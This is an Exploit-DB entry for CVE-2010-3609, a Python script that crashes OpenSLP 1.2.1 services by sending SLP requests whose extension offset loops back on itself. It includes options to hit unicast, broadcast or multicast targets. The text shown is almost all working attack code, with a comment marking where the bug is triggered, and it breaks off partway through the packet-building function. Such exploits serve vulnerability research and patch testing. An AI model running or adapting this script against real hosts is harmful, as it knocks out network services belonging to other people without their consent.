Exploit-DB #17610
Description: OpenSLP 1.2.1 / < 1647 trunk - Denial of Service
Type: dos
Platform: multiple
Date: 2011-08-05
Author: Nicolas Gregoire

Exploit:
#!/usr/bin/python

# Title: OpenSLP DoS
# Author: Nicolas Gregoire (@Agarri_FR)
# CVE: 2010-3609
# Software download: http://www.openslp.org/download.html 
# Version: v1.2.1 and trunk before revision 1647
# Tested on: Linux Ubuntu 10.04, VMware ESX 4.0
# Notes: It affects some others SLP softwares, like mSLP. More details (in French) on my blog => http://goo.gl/s0zHq

''' ==================================
          Pseudo documentation 
================================== '''

# SLPick, extension DoS release
# by Nicolas Gregoire

''' ==================================
             Imports 
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os


''' ==================================
        Default values
================================== '''

version = '0.4'
mode = 'unicast'
source = 'N/A'
target = 'N/A'
xid = '\x12\x34'
port = 427
nb = 1
req = 'sr'

''' ==================================
        Standard functions
================================== '''

# Some nice formatting
def zprint(str):
	print '[=] ' + str

# Function displaying CLI arguments
def showUsage():
    print 'Usage : ' + sys.argv[0] + ' [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]'
    print '\t[-h] Help (this text)'
    print '\t[-m] Mode : tcp / unicast / broadcast / multicast (default is "' + mode + '")'
    print '\t[-p] Port : default is "' + str(port) + '"'
    print '\t[-s] Source IP Adress : no default (used only in multicast mode)'
    print '\t[-t] Target IP Adress : no default (forced in multicast mode)'
    print '\t[-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)'
    print '\t[-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)'
    sys.exit(1)

# Function parsing parameters
def getArguments():
    try:
        optlist, list = getopt.getopt(sys.argv[1:], 'hm:p:t:s:n:r:')
    except getopt.GetoptError:
        showUsage()
    for opt in optlist:
        if opt[0] == '-h':
            showUsage()
        if opt[0] == '-p':
            global port
            port = opt[1]
        if opt[0] == '-s':
            global source
            source = opt[1]
        if opt[0] == '-t':
            global target
            target = opt[1]
        if opt[0] == '-m':
            global mode
	    mode = opt[1]
        if opt[0] == '-n':
            global nb
	    nb = int(opt[1])
        if opt[0] == '-r':
            global req
	    req = opt[1]

# Function checking parameters
def checkArguments():
    if (mode == 'multicast'):
        # XID : must be 0 in multicast mode
        # Target IP : default SLP multicast address
        # Source IP : address of the local interface 
        global xid
        xid = '\x00\x00'
	zprint('Forcing XID to "0"')
        global target
	target = '239.255.255.253'
	zprint('Forcing target IP to "' + target + '"')
        if (source != 'N/A') :
	    zprint('Forcing source IP to "' + source + '"')
        else:
	    zprint('You need to force the source address with "-s" !')
            showUsage()
    elif (mode == 'unicast') or (mode == 'broadcast') or (mode == 'multicast') or (mode == 'tcp'):
        # Target IP : must be defined
        if (target == 'N/A') :
            zprint('Invalid target !')
            showUsage()
    else :
        zprint('Invalid mode !')
        showUsage()

''' ==================================
        SLP functions
================================== '''

# Define payload of type "Service Request"
def getServRequest():

	zprint('Creating payload of type "Service Request"')

	# Function type
	f = '\x01'
	# Empty fields
	previous_list_length = '\x00\x00'
	predicate_length = '\x00\x00'
	scope_length = '\x00\x00'
	spi_length = '\x00\x00'
	# Variable-size fields
	service = 'service:directory-agent'
	service_length = struct.pack('!h', len(service)) 
	# Create message
	m = previous_list_length + service_length + service
	m += predicate_length + scope_length + spi_length

	return(f, m)

# Define payload of type "Attribute Request"
def getAttrRequest():

	zprint('Creating payload of type "Attribue Request"')

	# Function type
	f = '\x06'
	# Empty fields
	previous_list_length = '\x00\x00'
	tag_length = '\x00\x00'
	spi_length = '\x00\x00'
	# Variable-size fields
	url = 'http://www.agarri.fr/'
	url_length = struct.pack('!h', len(url)) 
	scope = 'default'
	scope_length = struct.pack('!h', len(scope)) 
	# Create message
	m = previous_list_length
	m += url_length + url + scope_length + scope
	m += tag_length + spi_length

	return(f, m)

# Define the function creating the full SLP packet
def createPacket(function, message):

	zprint('Adding headers and trailers')

	# SLP Version
	version = '\x02'
        # Set the 'Multicast required' flag to 1
	if (mode == 'broadcast' or mode == 'multicast'):
	    flags = '\x20\x00'
        else:
            flags = '\x00\x00'

        #######################################################
        # Here's the bug !!!!
        #######################################################
        zprint('Using ' + str(nb) + ' extension(s)')
        if (nb == 0):
            # No extension == no bug
	    next_ext_offset = '\x00\x00\x00'
	    extension = ''
	elif (nb == 1):
            # Loop over itself
	    next_ext_offset = '\x00\x00\x05'
	    extension = ''
        elif (nb == 2) :
            # Point to another extension located at the end of the packet
            # TODO : Calculate it at runtime
	    if (req == 'sr'):
                next_ext_offset = '\x00\x00\x31'
            else :
                next_ext_offset = '\x00\x00\x36'
            # OpenSLP : extid should be < 0x4000 or > 0x7FFF 
	    ext_id = '\xBA\xBE'
            # Loop over itself, 0x05 (back to previous extension) should work too